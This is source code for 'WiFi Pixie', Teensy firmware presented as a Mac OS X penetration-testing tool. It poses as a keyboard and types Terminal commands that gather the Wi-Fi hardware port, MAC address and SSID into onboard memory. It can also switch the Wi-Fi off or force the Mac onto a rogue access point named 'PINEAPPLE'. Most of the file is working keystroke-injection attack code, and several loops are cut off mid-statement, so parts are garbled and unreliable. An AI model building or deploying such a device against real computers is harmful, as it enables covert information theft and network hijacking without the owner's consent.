/****************************************************************/ /* WiFi Pixie - Small and Mischievous */ /* */ /* */ /* This program is for educational purposes only and may be */ /* used and reproduced free of charge for non-comercial */ /* applications. */ /* */ /* */ /* This program was written for the Teensy 3.1 and is designed */ /* for the use of penetration testing on Mac OS X. */ /* The following functionality is provided: */ /* - WiFi network information aquisition (from the DUT to */ /* the onboard non-volatile memory) */ /* - WiFi network information retrieval (from the */ /* non-volatile memory) */ /* - Turning off the DUTs WiFi card */ /* - Changing the AP to which the DUT is associated */ /* - Button linked to a reset ISR */ /* - Debugging mode (for steping through instructions) */ /* */ /* */ /* Button0 -> Used to trigger the reset ISR */ /* Button1 -> Used in debug mode to advance a step */ /* */ /* Red LED -> Indicates that the Teensy is busy and the user */ /* should wait until it's off to interact with the */ /* device (for setup, read/write operations) */ /* Blue LED -> Used in debug mode to indicate that the Teensy */ /* ready to go to the next step */ /* Green LED -> Used to indicate that the current program has */ /* been completed */ /* */ /* Switch0 -> Used to select WiFi change mode, rather than data */ /* store mode */ /* Switch1 -> In data store mode: Used to tell the Teensy to */ /* dump the data in the non-volatile memory, */ /* rather than gather data and store it */ /* In WiFi change mode: Used to tell the Teensy to */ /* turn the WiFi off, rather than change the */ /* network that the device is associated with */ /* Switch2 -> Used to select the alternate OS commands */ /* Switch3 -> Used to turn on debug mode */ /* */ /****************************************************************/ #include // Set pin constants const int red_led = 13; const int blue_led = 14; const int green_led = 16; const int button0 = 3; const int button1 = 4; const int switch0 = 20; const int switch1 = 21; const int switch2 = 22; const int switch3 = 23; // set debounce time const int db = 100; const boolean off = 0; const boolean on = 1; // Since EEPROM has a limited number of writes // the offset can be used to write to different parts of the memory const int offset = 0; // Mode options for switch read boolean osX; // Commands for OS X should be used boolean debug_mode; // Debug mode is active boolean data_store; // Gather and store WiFi data boolean wifi_change; // Change the associated network boolean wifi_off; // Turn airport off boolean data_dump; // For dumping EEPROM memory char incomingData[100]; // Space for serial data capture int dataSize; // Size of captured data // Change network parameters (remember terminating null character) const char newSSID[10] = {'P', 'I', 'N', 'E', 'A', 'P', 'P', 'L', 'E', 0}; const char newPW[8] = {'L', 'e', 't', 'M', 'e', 'I', 'n', 0}; // for open networks the password field can be left blank, save for the null character // Global data variables (made global for ease of access) char hwPort[20]; char macAddr[18]; char wifi_stat[4]; char netName[20]; /****************************************************************/ /* Setup function: */ /* Initialises program */ void setup() { Serial.begin(9600); // Set pin modes for LEDs, buttons and switches pinMode(red_led, OUTPUT); pinMode(blue_led, OUTPUT); pinMode(green_led, OUTPUT); pinMode(button0, INPUT_PULLUP); pinMode(button1, INPUT_PULLUP); pinMode(switch0, INPUT_PULLUP); pinMode(switch1, INPUT_PULLUP); pinMode(switch2, INPUT_PULLUP); pinMode(switch3, INPUT_PULLUP); delay(10); // Red LED on while setup is happening digitalWrite(red_led, HIGH); // Attach interrupt to button0 attachInterrupt(button0, isr, FALLING); // Read in mode options if(digitalRead(switch0)) // Use switch0 to select the 'store data' or 'change network' programs { wifi_change = 1; data_store = 0; data_dump = 0; wifi_off = digitalRead(switch1); // Use switch1 to change network to another or none } else { data_store = 1; wifi_change = 0; wifi_off = 0; data_dump = digitalRead(switch1); // Use switch1 to either gather and store data or to dump the memory } osX = !digitalRead(switch2); // Use switch2 to select commands for an alternative OS debug_mode = digitalRead(switch3); // Use switch3 to turn on debug mode // Flash blue LED to indicate debug mode if(debug_mode){digitalWrite(blue_led, HIGH);} // Initialisation takes some time also delay(1000); // All LEDs off to indicate that the setup has finished digitalWrite(red_led, LOW); digitalWrite(blue_led, LOW); digitalWrite(green_led, LOW); } /****************************************************************/ /****************************************************************/ /* Loop function: */ /* Runs main program */ void loop() { char incomingByte; static boolean run_once = 0; if(run_once == 0) { // Debug mode step break if(debug_mode){debug_wait();} if(osX) { if(data_store) { if(data_dump) { /* Dump EEPROM Memory to a text file */ // Open terminal open_app("terminal"); // Create and open a text file open_file(); // Enter data dump_data(); } else { /* Gather WiFi data and save to EEPROM */ // Open terminal open_app("terminal"); // Get WiFi information get_info(); // Print info in debug mode if(debug_mode) { debug_wait(); open_screen(); print_data(); exit_screen(); } // Close terminal exit_app(); // Store data store_data(); } } if(wifi_change) { /* Gather WiFi data */ // Open terminal open_app("terminal"); // Get WiFi information get_info(); // Print info in debug mode if(debug_mode) { debug_wait(); open_screen(); print_data(); exit_screen(); } if(wifi_off) { /* Turn airport off */ //(may already be off, but this is faster than checking) airport_power(off); } else { /* Change associated network */ // Turn airport on (may already be on, but this is faster than checking) airport_power(on); // Switch networks switch_nw(); } // Close terminal exit_app(); } } else { Serial.println("Alternate OS mode is currently unimplemented."); } run_once = 1; } // Turn on green LED to indicate opperation has ended digitalWrite(green_led, digitalRead(button1)); // Echo serial input if (Serial.available() > 0) { incomingByte = Serial.read(); if(incomingByte == 13) {Serial.println(" ");} else{Serial.print(incomingByte);} } } /****************************************************************/ /****************************************************************/ /* Test Screen function: */ /* Sends a message using the keyboard and checks it's */ /* correctly received by the serial read */ void test_screen(void) { char incomingByte[4]; char response[4] = {'T','e','s','t'}; int i; // Give test input Keyboard.print("Test"); for(i=0; i<4; i++) { // Trap: if screen doesn't open correctly // the Teensy will get caught in this // infinite loop until it receives some // serial data while(Serial.available() == 0); // Store response incomingByte[i] = Serial.read(); // If the test fails then trap if(incomingByte[i] != response[i]) { // If test fails, the Teensy will // get caught in this infinite loop while(1); } } Serial.println("Screen Ready..."); } /****************************************************************/ /****************************************************************/ /* Exit Screen function: */ /* Exits the screen app */ void exit_screen(void) { // Hold control key Keyboard.set_modifier(MODIFIERKEY_CTRL); Keyboard.send_now(); delay(50); // Press 'A' key Keyboard.press(KEY_A); Keyboard.release(KEY_A); delay(50); // Release cmd key Keyboard.set_modifier(0); Keyboard.send_now(); delay(50); // Press 'K' key Keyboard.press(KEY_K); Keyboard.release(KEY_K); delay(50); // Press 'Y' key Keyboard.press(KEY_Y); Keyboard.release(KEY_Y); // Debug mode step break if(debug_mode){debug_wait();} else{delay(500);} } /****************************************************************/ /****************************************************************/ /* Exit app function: */ /* Exits current application */ void exit_app(void) { // Hold cmd key Keyboard.set_modifier(MODIFIERKEY_GUI); Keyboard.send_now(); delay(50); // Press 'Q' key Keyboard.press(KEY_Q); Keyboard.release(KEY_Q); delay(50); // Release cmd key Keyboard.set_modifier(0); Keyboard.send_now(); // Debug mode step break if(debug_mode){debug_wait();} else{delay(1000);} } /****************************************************************/ /****************************************************************/ /* Open Screen function: */ /* Uses terminal to open the screen app */ void open_screen(void) { // open the screen function Keyboard.print("screen /dev/tty.usbmodem24701 9600"); delay(100); // Press enter Keyboard.press(KEY_ENTER); Keyboard.release(KEY_ENTER); // Debug mode step break if(debug_mode){debug_wait();} else{delay(1000);} } /****************************************************************/ /****************************************************************/ /* Open app function: */ /* Uses spotlight to select/open an application */ void open_app(const char *app_name) { /* Open Spotlight */ // Hold cmd key Keyboard.set_modifier(MODIFIERKEY_GUI); Keyboard.send_now(); delay(50); // Press 'space' key Keyboard.press(KEY_SPACE); Keyboard.release(KEY_SPACE); delay(50); // Release cmd key Keyboard.set_modifier(0); Keyboard.send_now(); // Debug mode step break if(debug_mode){debug_wait();} else{delay(1500);} // select the application Keyboard.print(app_name); // Debug mode step break if(debug_mode){debug_wait();} else{delay(500);} // Press enter Keyboard.press(KEY_ENTER); Keyboard.release(KEY_ENTER); // Debug mode step break if(debug_mode){debug_wait();} else{delay(3000);} } /****************************************************************/ /****************************************************************/ /* Get info function: */ /* Gets wifi information from the host device */ void get_info(void) { char device[8] = {'D','e','v','i','c','e',':',' '}; char address[9] = {'A','d','d','r','e','s','s',':',' '}; char pwr[3] = {')',':',' '}; char nwrk[9] = {'N','e','t','w','o','r','k',':',' ',}; int i,j,k; boolean found = 0; // Get the hardware port name and MAC address // // Pipe info into a text file // (note that the "|" symbol is incorrectly mapped on my current keyboard // configuration, so a "~" is used instead, which appears as a "|") Keyboard.print("networksetup -listallhardwareports ~ grep Wi-Fi -A 2 > out.txt"); Keyboard.press(KEY_ENTER); Keyboard.release(KEY_ENTER); delay(100); // take data from text file and read in through serial connection capture_data(); // Search data for strings "Device: " // (search algorithm could be put into a separate function, but for ease // the code has just been repeated) j = k = 0; found = 0; for(i=0;i out.txt"); Keyboard.press(KEY_ENTER); Keyboard.release(KEY_ENTER); // Debug mode step break if(debug_mode){debug_wait();} else{delay(100);} capture_data(); // Search data for strings "): " j = k = 0; found = 0; for(i=0;i out.txt"); Keyboard.press(KEY_ENTER); Keyboard.release(KEY_ENTER); // Debug mode step break if(debug_mode){debug_wait();} else{delay(100);} capture_data(); // Search data for strings "): " j = k = 0; found = 0; for(i=0;i2047){break;} EEPROM.write(addr, var[i]); addr++; i++; delay(100); } if(addr<2048){ EEPROM.write(addr, 0);} addr++; delay(100); return addr; } /****************************************************************/ /****************************************************************/ /* Dump data function: */ /* Outputs the WiFi data stored in memory to a text file */ void dump_data(void) { int addr = offset; // Set the red LED to indicate that an internal read operation is happening digitalWrite(red_led, HIGH); Keyboard.println("Teensy Dump: EEPROM Contents"); Keyboard.println("----------------------------"); Keyboard.println(" "); Keyboard.print("Hardware Port: "); addr = string_out(addr); Keyboard.print("MAC Address: "); addr = string_out(addr); Keyboard.print("Airport Status: "); addr = string_out(addr); Keyboard.print("SSID of AP: "); addr = string_out(addr); digitalWrite(red_led, LOW); } /****************************************************************/ /****************************************************************/ /* String out function: */ /* Outputs the next string in the EEPROM memory */ int string_out(int addr) { char val; while(addr < 2048) { val = EEPROM.read(addr); delay(100); // If end of string is reached then return if((val == 0) || (val == 255)) { Keyboard.println(" "); // Flush EEPROM as we go EEPROM.write(addr, 255); delay(100); addr++; break; } else { Keyboard.print(val); // Flush EEPROM as we go EEPROM.write(addr, 255); delay(100); addr++; } } return addr; } /****************************************************************/ /****************************************************************/ /* Open file function: */ /* Uses terminal to create and open a text file */ void open_file(void) { // Create text file Keyboard.print("touch teensyDump.txt"); Keyboard.press(KEY_ENTER); Keyboard.release(KEY_ENTER); delay(100); // Open text file Keyboard.print("open teensyDump.txt"); Keyboard.press(KEY_ENTER); Keyboard.release(KEY_ENTER); // Debug mode step break if(debug_mode){debug_wait();} else{delay(1500);} } /****************************************************************/ /****************************************************************/ /* ISR reset function: */ /* Resets the teensy when button0 triggers an interrupt */ void isr(void) { // Detach the interrupt detachInterrupt(button0); // Turn the red LED on to indicate that a reset is in progress digitalWrite(red_led, HIGH); // Reset command ((*(volatile uint32_t *)0xE000ED0C) = (0x5FA0004)); // Thanks to kam42 for the reset command. (Source: pjrc forum) // [URL: http://forum.pjrc.com/threads/24304-_reboot_Teensyduino%28%29-vs-_restart_Teensyduino%28%29?highlight=teensy+reboot#10] } /****************************************************************/